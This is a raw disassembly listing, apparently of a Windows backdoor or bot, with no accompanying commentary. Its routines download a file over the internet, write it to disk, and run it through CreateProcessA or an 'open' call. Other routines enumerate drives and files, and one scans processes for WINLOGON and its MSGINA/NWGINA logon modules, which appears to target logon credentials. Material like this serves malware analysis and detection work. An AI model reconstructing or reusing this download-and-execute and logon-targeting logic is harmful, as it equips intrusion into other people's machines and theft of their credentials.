lea eax, [ebp+74h+var_190]
push eax
lea eax, [ebp+74h+Dst]
push offset asc_436F84 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+74h+var_78], esi
jnz short loc_418FE4
push esi ; int
push [ebp+74h+var_74] ; int
lea eax, [ebp+74h+Dst]
push eax ; int
lea eax, [ebp+74h+Str]
push eax ; Str
push [ebp+74h+var_314] ; int
call sub_40123B
add esp, 14h
loc_418FE4: ; CODE XREF: sub_418F38+8Aj
lea eax, [ebp+74h+Dst]
push eax
call sub_417D70
push [ebp+74h+var_90]
call sub_40B149
pop ecx
jmp loc_419420
; ---------------------------------------------------------------------------
loc_418FFE: ; CODE XREF: sub_418F38+6Aj
xor edi, edi
call ds:dword_42B038 ; GetTickCount
mov ebx, 7D000h
push ebx ; Size
mov [ebp+74h+var_4], eax
call _malloc
pop ecx
mov [ebp+74h+Memory], eax
loc_419018: ; CODE XREF: sub_418F38+1A8j
push 200h ; Size
lea eax, [ebp+74h+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+74h+arg_0]
push eax
push 200h
lea eax, [ebp+74h+Dst]
push eax
push [ebp+74h+var_10]
call dword_4441B8 ; InternetReadFile
cmp [ebp+74h+var_7C], esi
jz short loc_41905C
push [ebp+74h+arg_0]
lea eax, [ebp+74h+Dst]
push eax
call sub_418F1B
pop ecx
pop ecx
loc_41905C: ; CODE XREF: sub_418F38+111j
push esi
lea eax, [ebp+74h+var_18]
push eax
push [ebp+74h+arg_0]
lea eax, [ebp+74h+Dst]
push eax
push [ebp+74h+var_14]
call ds:dword_42B084 ; WriteFile
cmp edi, ebx
jnb short loc_41909A
mov eax, ebx
sub eax, edi
cmp eax, [ebp+74h+arg_0]
jbe short loc_419084
mov eax, [ebp+74h+arg_0]
loc_419084: ; CODE XREF: sub_418F38+147j
push eax ; Size
lea eax, [ebp+74h+Dst]
push eax ; Src
mov eax, [ebp+74h+Memory]
add eax, edi
push eax ; Dst
call _memcpy
add esp, 0Ch
loc_41909A: ; CODE XREF: sub_418F38+13Ej
add edi, [ebp+74h+arg_0]
cmp [ebp+74h+var_84], esi
jz short loc_4190A7
cmp edi, [ebp+74h+var_84]
ja short loc_4190E6
loc_4190A7: ; CODE XREF: sub_418F38+168j
mov eax, edi
shr eax, 0Ah
push eax
lea eax, [ebp+74h+var_290]
push eax
mov eax, [ebp+74h+var_90]
imul eax, 234h
add eax, offset dword_4442E8
cmp [ebp+74h+var_8C], 1
jz short loc_4190CF
push offset unk_436F5C
jmp short loc_4190D4
; ---------------------------------------------------------------------------
loc_4190CF: ; CODE XREF: sub_418F38+18Ej
push offset asc_436F34 ; "-"
loc_4190D4: ; CODE XREF: sub_418F38+195j
push eax ; Dest
call _sprintf
add esp, 10h
cmp [ebp+74h+arg_0], esi
ja loc_419018
loc_4190E6: ; CODE XREF: sub_418F38+16Dj
cmp [ebp+74h+var_84], esi
mov [ebp+74h+var_8], 1
jz short loc_41913B
cmp edi, [ebp+74h+var_84]
jz short loc_41913B
push [ebp+74h+var_84]
lea eax, [ebp+74h+Dst]
push edi
push offset asc_436F08 ; "-"
push eax ; Dest
mov [ebp+74h+var_8], esi
call _sprintf
push esi ; int
push [ebp+74h+var_74] ; int
lea eax, [ebp+74h+Dst]
push eax ; int
lea eax, [ebp+74h+Str]
push eax ; Str
push [ebp+74h+var_314] ; int
call sub_40123B
lea eax, [ebp+74h+Dst]
push eax
call sub_417D70
add esp, 28h
loc_41913B: ; CODE XREF: sub_418F38+1B8j
; sub_418F38+1BDj
call ds:dword_42B038 ; GetTickCount
sub eax, [ebp+74h+var_4]
xor edx, edx
mov ecx, 3E8h
div ecx
xor edx, edx
push [ebp+74h+var_14]
mov ecx, eax
inc ecx
mov eax, edi
div ecx
mov ebx, eax
call ds:dword_42B004 ; CloseHandle
push [ebp+74h+Memory] ; Memory
call _free
cmp [ebp+74h+var_80], esi
pop ecx
jz short loc_4191C5
lea eax, [ebp+74h+var_190]
push eax ; char *
call sub_40109F
cmp eax, [ebp+74h+var_80]
pop ecx
jz short loc_4191C5
push [ebp+74h+var_80]
mov [ebp+74h+var_8], esi
push eax
lea eax, [ebp+74h+Dst]
push offset asc_436EE0 ; "-"
push eax ; Dest
call _sprintf
push esi ; int
push [ebp+74h+var_74] ; int
lea eax, [ebp+74h+Dst]
push eax ; int
lea eax, [ebp+74h+Str]
push eax ; Str
push [ebp+74h+var_314] ; int
call sub_40123B
lea eax, [ebp+74h+Dst]
push eax
call sub_417D70
add esp, 28h
loc_4191C5: ; CODE XREF: sub_418F38+235j
; sub_418F38+247j
cmp [ebp+74h+var_8], esi
jz loc_41940F
cmp [ebp+74h+var_8C], 1
jz loc_4192CE
test ebx, ebx
mov [ebp+74h+var_4], ebx
fild [ebp+74h+var_4]
jge short loc_4191E8
fadd ds:dbl_433200
loc_4191E8: ; CODE XREF: sub_418F38+2A8j
test edi, edi
fmul ds:dbl_436ED8
push ecx
push ecx
fstp [esp+584h+var_5F8]
lea eax, [ebp+74h+var_190]
mov [ebp+74h+var_4], edi
fild [ebp+74h+var_4]
push eax
jge short loc_41920A
fadd ds:dbl_433200
loc_41920A: ; CODE XREF: sub_418F38+2CAj
fmul ds:dbl_436ED8
push ecx
push ecx
lea eax, [ebp+74h+Dst]
fstp [esp+590h+var_604]
push offset asc_436EA0 ; "-"
push eax ; Dest
call _sprintf
add esp, 1Ch
cmp [ebp+74h+var_78], esi
jnz short loc_41924E
push esi ; int
push [ebp+74h+var_74] ; int
lea eax, [ebp+74h+Dst]
push eax ; int
lea eax, [ebp+74h+Str]
push eax ; Str
push [ebp+74h+var_314] ; int
call sub_40123B
add esp, 14h
loc_41924E: ; CODE XREF: sub_418F38+2F4j
lea eax, [ebp+74h+Dst]
push eax
call sub_417D70
cmp [ebp+74h+var_88], 1
pop ecx
jnz loc_41940F
push 5
push esi
push esi
lea eax, [ebp+74h+var_190]
push eax
push offset aOpen ; "open"
push esi
call dword_444214
cmp [ebp+74h+var_78], esi
jnz loc_41940F
lea eax, [ebp+74h+var_190]
push eax
lea eax, [ebp+74h+Dst]
push offset asc_436E84 ; "-"
push eax ; Dest
call _sprintf
push esi ; int
push [ebp+74h+var_74] ; int
lea eax, [ebp+74h+Dst]
push eax ; int
lea eax, [ebp+74h+Str]
push eax ; Str
push [ebp+74h+var_314] ; int
call sub_40123B
lea eax, [ebp+74h+Dst]
push eax
call sub_417D70
add esp, 24h
jmp loc_41940F
; ---------------------------------------------------------------------------
loc_4192CE: ; CODE XREF: sub_418F38+29Aj
test ebx, ebx
mov [ebp+74h+var_4], ebx
fild [ebp+74h+var_4]
jge short loc_4192DE
fadd ds:dbl_433200
loc_4192DE: ; CODE XREF: sub_418F38+39Ej
test edi, edi
fmul ds:dbl_436ED8
push ecx
push ecx
fstp [esp+584h+var_5F8]
lea eax, [ebp+74h+var_190]
mov [ebp+74h+var_4], edi
fild [ebp+74h+var_4]
push eax
jge short loc_419300
fadd ds:dbl_433200
loc_419300: ; CODE XREF: sub_418F38+3C0j
fmul ds:dbl_436ED8
push ecx
push ecx
lea eax, [ebp+74h+Dst]
fstp [esp+590h+var_604]
push offset asc_436E40 ; "-"
push eax ; Dest
call _sprintf
add esp, 1Ch
cmp [ebp+74h+var_78], esi
jnz short loc_419344
push esi ; int
push [ebp+74h+var_74] ; int
lea eax, [ebp+74h+Dst]
push eax ; int
lea eax, [ebp+74h+Str]
push eax ; Str
push [ebp+74h+var_314] ; int
call sub_40123B
add esp, 14h
loc_419344: ; CODE XREF: sub_418F38+3EAj
lea eax, [ebp+74h+Dst]
push eax
call sub_417D70
push 10h ; Size
lea eax, [ebp+74h+var_28]
push esi ; Val
push eax ; Dst
call _memset
push 44h
pop edi
push edi ; Size
lea eax, [ebp+74h+var_6C]
push esi ; Val
push eax ; Dst
call _memset
add esp, 1Ch
lea eax, [ebp+74h+var_28]
push eax
lea eax, [ebp+74h+var_6C]
push eax
push esi
push esi
push 28h
push esi
push esi
mov [ebp+74h+var_6C], edi
push esi
lea eax, [ebp+74h+var_190]
xor edi, edi
push eax
inc edi
push esi
mov [ebp+74h+var_60], offset byte_42B633
mov [ebp+74h+var_40], edi
mov [ebp+74h+var_3C], si
call ds:dword_42B008 ; CreateProcessA
cmp eax, edi
jnz short loc_4193B4
call dword_444224 ; WSACleanup
call sub_41AEDD
push esi
call ds:dword_42B000 ; ExitProcess
loc_4193B4: ; CODE XREF: sub_418F38+468j
lea eax, [ebp+74h+var_190]
push eax
push offset unk_436E0C
jmp short loc_4193CE
; ---------------------------------------------------------------------------
loc_4193C2: ; CODE XREF: sub_418F38+47j
lea eax, [ebp+74h+var_290]
push eax
push offset asc_436DE0 ; "-"
loc_4193CE: ; CODE XREF: sub_418F38+488j
lea eax, [ebp+74h+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+74h+var_78], esi
jnz short loc_419402
push esi ; int
push [ebp+74h+var_74] ; int
lea eax, [ebp+74h+Dst]
push eax ; int
lea eax, [ebp+74h+Str]
push eax ; Str
push [ebp+74h+var_314] ; int
call sub_40123B
add esp, 14h
loc_419402: ; CODE XREF: sub_418F38+4A8j
lea eax, [ebp+74h+Dst]
push eax
call sub_417D70
pop ecx
loc_41940F: ; CODE XREF: sub_418F38+290j
; sub_418F38+327j ...
push [ebp+74h+var_10]
call dword_444164 ; InternetCloseHandle
push [ebp+74h+var_90]
call sub_40B149
loc_419420: ; CODE XREF: sub_418F38+C1j
pop ecx
push esi
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_418F38 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_419429 proc near ; CODE XREF: sub_40274D+5554p
; sub_40274D+5693p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_42065F
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_419429 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419443 proc near ; CODE XREF: sub_412135+462p
; sub_412135+5FEp ...
var_40 = byte ptr -40h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 40h
and [ebp+var_4], 0
push esi
push edi
push 32h ; Size
push 0 ; Val
mov edi, offset dword_4DA12C
push edi ; Dst
call _memset
add esp, 0Ch
lea esi, [ebp+var_40]
push ebx
loc_419465: ; CODE XREF: sub_419443+52j
; sub_419443+58j
push 0
push 0Ah
push [ebp+arg_4]
push [ebp+arg_0]
call __aulldvrm
add cl, 30h
mov [esi], cl
inc esi
mov [ebp+arg_0], eax
or eax, edx
mov [ebp+var_8], ebx
mov [ebp+arg_4], edx
jz short loc_41949D
inc [ebp+var_4]
mov eax, [ebp+var_4]
push 3
cdq
pop ecx
idiv ecx
test edx, edx
jnz short loc_419465
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_419465
; ---------------------------------------------------------------------------
loc_41949D: ; CODE XREF: sub_419443+42j
mov eax, edi
pop ebx
jmp short loc_4194A7
; ---------------------------------------------------------------------------
loc_4194A2: ; CODE XREF: sub_419443+6Aj
mov cl, [esi]
mov [eax], cl
inc eax
loc_4194A7: ; CODE XREF: sub_419443+5Dj
dec esi
lea ecx, [ebp+var_40]
cmp esi, ecx
jnb short loc_4194A2
mov byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
leave
retn
sub_419443 endp
; =============== S U B R O U T I N E =======================================
sub_4194B8 proc near ; CODE XREF: sub_419664+40p
; sub_419664+76p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_44407C ; GetDriveTypeA
sub eax, 0
jz short loc_4194FB
dec eax
jz short loc_4194F5
dec eax
dec eax
jz short loc_4194EF
dec eax
jz short loc_4194E9
dec eax
jz short loc_4194E3
dec eax
jz short loc_4194DD
mov eax, offset dword_436FD8
retn
; ---------------------------------------------------------------------------
loc_4194DD: ; CODE XREF: sub_4194B8+1Dj
mov eax, offset off_436FD4
retn
; ---------------------------------------------------------------------------
loc_4194E3: ; CODE XREF: sub_4194B8+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_4194E9: ; CODE XREF: sub_4194B8+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_4194EF: ; CODE XREF: sub_4194B8+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_4194F5: ; CODE XREF: sub_4194B8+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_4194FB: ; CODE XREF: sub_4194B8+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_4194B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419501 proc near ; CODE XREF: sub_419549+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_4440FC
test eax, eax
jz short loc_419536
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax ; GetDiskFreeSpaceExA
loc_419536: ; CODE XREF: sub_419501+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_419501 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419549 proc near ; CODE XREF: sub_419664+17p
; sub_41D779+1C2p
Dest = byte ptr -1B0h
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_30 = byte ptr -30h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1B0h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_30]
push eax
call sub_419501
pop ecx
pop ecx
push 6
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_419621
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_419621
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_419621
push ebx
push 0
mov ebx, 400h
push ebx
push [ebp+var_14]
push [ebp+var_18]
call __alldiv
push edx
push eax
call sub_419443
push eax
mov edi, offset aSkb ; "%sKB"
push edi ; Format
mov esi, 80h
lea eax, [ebp+Dest]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 18h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call __alldiv
push edx
push eax
call sub_419443
push eax
push edi ; Format
lea eax, [ebp+var_130]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 18h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call __alldiv
push edx
push eax
call sub_419443
push eax
push edi ; Format
lea eax, [ebp+var_B0]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 18h
pop ebx
jmp short loc_419650
; ---------------------------------------------------------------------------
loc_419621: ; CODE XREF: sub_419549+2Cj
; sub_419549+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+Dest]
push esi ; Format
push eax ; Dest
call _sprintf
lea eax, [ebp+var_130]
push esi ; Format
push eax ; Dest
call _sprintf
lea eax, [ebp+var_B0]
push esi ; Format
push eax ; Dest
call _sprintf
add esp, 18h
loc_419650: ; CODE XREF: sub_419549+D6j
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+Dest]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_419549 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419664(int,char *Str,int,int)
sub_419664 proc near ; CODE XREF: sub_419725+Dj
; sub_419725+51p
var_500 = byte ptr -500h
Dest = byte ptr -380h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
Str1 = byte ptr -80h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_500]
push ebx
push eax
call sub_419549
push 60h
pop ecx
mov esi, eax
lea eax, [ebp+Str1]
push offset aFailed ; "failed"
lea edi, [ebp+var_180]
push eax ; Str1
rep movsd
call _strcmp
add esp, 10h
test eax, eax
jnz short loc_4196C6
push ebx
push ebx
call sub_4194B8
pop ecx
push eax
push offset asc_437028 ; "-"
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 14h
jmp short loc_4196FA
; ---------------------------------------------------------------------------
loc_4196C6: ; CODE XREF: sub_419664+3Cj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+Str1]
push eax
push ebx
push ebx
call sub_4194B8
pop ecx
push eax
push offset asc_436FEC ; "-"
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 20h
loc_4196FA: ; CODE XREF: sub_419664+60j
push 1 ; int
push [ebp+arg_8] ; int
lea eax, [ebp+Dest]
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40123B
lea eax, [ebp+Dest]
push eax
call sub_417D70
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_419664 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419725(int,char *Str,int,int)
sub_419725 proc near ; CODE XREF: sub_40274D+2360p
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_419737
pop ebx
pop ebp
jmp sub_419664
; ---------------------------------------------------------------------------
loc_419737: ; CODE XREF: sub_419725+9j
push esi
push edi
push ebx
push ebx
call dword_4441A8 ; GetLogicalDriveStringsA
lea esi, [eax+2]
push esi ; Size
call _malloc
pop ecx
mov edi, eax
push edi
push esi
call dword_4441A8 ; GetLogicalDriveStringsA
cmp [edi], bl
mov esi, edi
jz short loc_41978D
loc_41975B: ; CODE XREF: sub_419725+66j
push offset aA_1 ; "A:\\"
push esi ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jz short loc_41977E
push esi ; int
push [ebp+arg_8] ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_419664
add esp, 10h
loc_41977E: ; CODE XREF: sub_419725+45j
push esi ; Str
call _strlen
lea esi, [esi+eax+1]
cmp [esi], bl
pop ecx
jnz short loc_41975B
loc_41978D: ; CODE XREF: sub_419725+34j
push edi ; Memory
call _free
pop ecx
pop edi
pop esi
pop ebx
pop ebp
retn
sub_419725 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419799(int,char *Str,int,int,int,int)
sub_419799 proc near ; CODE XREF: sub_419799+9Ep
; sub_4198EB+BBp
var_54C = dword ptr -54Ch
var_34C = dword ptr -34Ch
Dest = byte ptr -248h
var_144 = byte ptr -144h
var_118 = byte ptr -118h
var_117 = byte ptr -117h
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 54Ch
push ebx
push esi
push edi
push [ebp+arg_10]
mov esi, 104h
push offset aS_4 ; "%s\\*"
lea eax, [ebp+Dest]
push esi ; Count
push eax ; Dest
call __snprintf
mov edi, ds:dword_42B0B4
add esp, 10h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+Dest]
push eax
call edi ; FindFirstFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
mov ebx, offset aSS_0 ; "%s\\%s"
jz short loc_419856
loc_4197E5: ; CODE XREF: sub_419799+BBj
test [ebp+var_144], 10h
jz short loc_419842
cmp [ebp+var_118], 2Eh
jnz short loc_419809
cmp [ebp+var_117], 0
jz short loc_419842
cmp [ebp+var_117], 2Eh
jz short loc_419842
loc_419809: ; CODE XREF: sub_419799+5Cj
lea eax, [ebp+var_118]
push eax
push [ebp+arg_10]
lea eax, [ebp+var_34C]
push ebx ; Format
push esi ; Count
push eax ; Dest
call __snprintf
push [ebp+arg_14] ; int
lea eax, [ebp+var_34C]
push eax ; int
push [ebp+arg_C] ; int
push [ebp+arg_8] ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_419799
add esp, 2Ch
mov [ebp+arg_14], eax
loc_419842: ; CODE XREF: sub_419799+53j
; sub_419799+65j ...
lea eax, [ebp+var_144]
push eax
push [ebp+var_4]
call ds:dword_42B0B0 ; FindNextFileA
test eax, eax
jnz short loc_4197E5
loc_419856: ; CODE XREF: sub_419799+4Aj
push [ebp+var_4]
call ds:dword_42B0A4 ; FindClose
push [ebp+arg_C]
lea eax, [ebp+Dest]
push [ebp+arg_10]
push ebx ; Format
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+Dest]
push eax
call edi ; FindFirstFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4198DC
loc_41988D: ; CODE XREF: sub_419799+141j
inc [ebp+arg_14]
lea eax, [ebp+var_118]
push eax
push [ebp+arg_10]
lea eax, [ebp+var_54C]
push offset asc_437068 ; "-"
push 200h ; Count
push eax ; Dest
call __snprintf
push 1 ; int
push [ebp+arg_8] ; int
lea eax, [ebp+var_54C]
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 28h
lea eax, [ebp+var_144]
push eax
push esi
call ds:dword_42B0B0 ; FindNextFileA
test eax, eax
jnz short loc_41988D
loc_4198DC: ; CODE XREF: sub_419799+F2j
push esi
call ds:dword_42B0A4 ; FindClose
mov eax, [ebp+arg_14]
pop edi
pop esi
pop ebx
leave
retn
sub_419799 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_4198EB proc near ; DATA XREF: sub_40274D+6585o
Dest = byte ptr -49Ch
var_29C = dword ptr -29Ch
var_298 = byte ptr -298h
var_218 = dword ptr -218h
var_115 = byte ptr -115h
Str = byte ptr -114h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 49Ch
mov eax, [ebp+74h+arg_0]
push ebx
push esi
push edi
mov esi, eax
mov ecx, 0A7h
lea edi, [ebp+74h+var_29C]
rep movsd
mov dword ptr [eax+298h], 1
lea eax, [ebp+74h+Str]
push eax ; Str
call _strlen
xor ebx, ebx
cmp [ebp+eax+74h+var_115], 5Ch
pop ecx
jnz short loc_419942
lea eax, [ebp+74h+Str]
push eax ; Str
call _strlen
pop ecx
mov [ebp+eax+74h+var_115], bl
loc_419942: ; CODE XREF: sub_4198EB+41j
lea eax, [ebp+74h+var_218]
push eax
push offset asc_4370AC ; "-"
lea eax, [ebp+74h+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
cmp [ebp+74h+var_8], ebx
jnz short loc_419987
push ebx ; int
push [ebp+74h+var_C] ; int
lea eax, [ebp+74h+Dest]
push eax ; int
lea eax, [ebp+74h+var_298]
push eax ; Str
push [ebp+74h+var_29C] ; int
call sub_40123B
add esp, 14h
loc_419987: ; CODE XREF: sub_4198EB+7Aj
push ebx ; int
lea eax, [ebp+74h+Str]
push eax ; int
lea eax, [ebp+74h+var_218]
push eax ; int
push [ebp+74h+var_C] ; int
lea eax, [ebp+74h+var_298]
push eax ; Str
push [ebp+74h+var_29C] ; int
call sub_419799
push eax
lea eax, [ebp+74h+Dest]
push offset asc_43708C ; "-"
push eax ; Dest
call _sprintf
add esp, 24h
cmp [ebp+74h+var_8], ebx
jnz short loc_4199E5
push ebx ; int
push [ebp+74h+var_C] ; int
lea eax, [ebp+74h+Dest]
push eax ; int
lea eax, [ebp+74h+var_298]
push eax ; Str
push [ebp+74h+var_29C] ; int
call sub_40123B
add esp, 14h
loc_4199E5: ; CODE XREF: sub_4198EB+D8j
lea eax, [ebp+74h+Dest]
push eax
call sub_417D70
push [ebp+74h+var_10]
call sub_40B149
pop ecx
pop ecx
push ebx
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_4198EB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_419A03 proc near ; CODE XREF: sub_419FFD+ABp
String = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 18h
and [esp+18h+var_4], 0
and [esp+18h+var_14], 0
push ebx
push ebp
push esi
mov esi, ds:dword_42B0E8
push edi
mov ebx, 100h
push ebx
push 8
call esi ; GetProcessHeap
mov edi, ds:dword_42B0E4
push eax
call edi ; RtlAllocateHeap
mov ebp, eax
lea eax, [esp+28h+var_14]
push eax
push ebx
push ebp
push 10h
call dword_4DA960
push ebp
push 0
call esi ; GetProcessHeap
push eax
call ds:dword_42B0E0 ; RtlFreeHeap
push [esp+28h+var_14]
push 8
call esi ; GetProcessHeap
push eax
call edi ; RtlAllocateHeap
mov ebp, eax
mov eax, [esp+28h+var_14]
lea ecx, [esp+28h+var_C]
push ecx
push eax
push ebp
push 10h
mov [esp+38h+var_C], eax
call dword_4DA960
test eax, eax
jnz short loc_419AF0
mov eax, [esp+28h+var_C]
shr eax, 4
mov [esp+28h+var_10], eax
jz short loc_419AF0
xor ecx, ecx
inc ecx
cmp eax, ecx
mov ebx, ebp
mov [esp+28h+String], ecx
jb short loc_419AF0
loc_419A8C: ; CODE XREF: sub_419A03+EBj
cmp word ptr [ebx+8], 5
jnz short loc_419AE3
push 0
push 0
call dword_4DB168
mov edi, eax
push edi
push 1
push dword ptr [ebx+4]
call dword_4DB16C
test eax, eax
jnz short loc_419AD4
mov eax, [edi+60h]
mov [esp+28h+var_8], eax
lea eax, [edi+80h]
push offset aWinlogon ; "WINLOGON"
push eax ; String
call __strupr
pop ecx
push eax ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_419B08
loc_419AD4: ; CODE XREF: sub_419A03+AAj
test edi, edi
jz short loc_419ADF
push edi
call dword_4DB170
loc_419ADF: ; CODE XREF: sub_419A03+D3j
mov eax, [esp+28h+var_10]
loc_419AE3: ; CODE XREF: sub_419A03+8Ej
add ebx, 10h
inc [esp+28h+String]
cmp [esp+28h+String], eax
jbe short loc_419A8C
loc_419AF0: ; CODE XREF: sub_419A03+6Dj
; sub_419A03+7Aj ...
xor edi, edi
loc_419AF2: ; CODE XREF: sub_419A03+17Dj
push ebp
push 0
call esi ; GetProcessHeap
push eax
call ds:dword_42B0E0 ; RtlFreeHeap
mov eax, edi
loc_419B00: ; CODE XREF: sub_419A03+184j
pop edi
pop esi
pop ebp
pop ebx
add esp, 18h
retn
; ---------------------------------------------------------------------------
loc_419B08: ; CODE XREF: sub_419A03+CFj
and [esp+28h+var_10], 0
cmp [esp+28h+var_8], 0
jbe short loc_419B71
lea eax, [edi+80h]
mov [esp+28h+String], eax
loc_419B1E: ; CODE XREF: sub_419A03+16Cj
add [esp+28h+String], 11Ch
push offset aNwgina ; "NWGINA"
push [esp+2Ch+String] ; String
call __strupr
pop ecx
push eax ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_419B85
push offset aMsgina ; "MSGINA"
push [esp+2Ch+String] ; String
call __strupr
pop ecx
push eax ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_419B63
mov eax, [ebx+4]
mov [esp+28h+var_4], eax
loc_419B63: ; CODE XREF: sub_419A03+157j
inc [esp+28h+var_10]
mov eax, [esp+28h+var_10]
cmp eax, [esp+28h+var_8]
jb short loc_419B1E
loc_419B71: ; CODE XREF: sub_419A03+10Fj
test edi, edi
jz short loc_419B7C
push edi
call dword_4DB170
loc_419B7C: ; CODE XREF: sub_419A03+170j
mov edi, [esp+28h+var_4]
jmp loc_419AF2
; ---------------------------------------------------------------------------
loc_419B85: ; CODE XREF: sub_419A03+13Cj
xor eax, eax
jmp loc_419B00
sub_419A03 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419B8C proc near ; CODE XREF: sub_419FFD+F0p
var_68 = byte ptr -68h
var_64 = dword ptr -64h
var_44 = byte ptr -44h
var_38 = dword ptr -38h
var_33 = byte ptr -33h
var_2F = byte ptr -2Fh
var_28 = byte ptr -28h
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 68h
push esi
push [ebp+arg_0]
xor esi, esi
push esi
push 410h
mov [ebp+var_14], esi
call ds:dword_42B040 ; OpenProcess
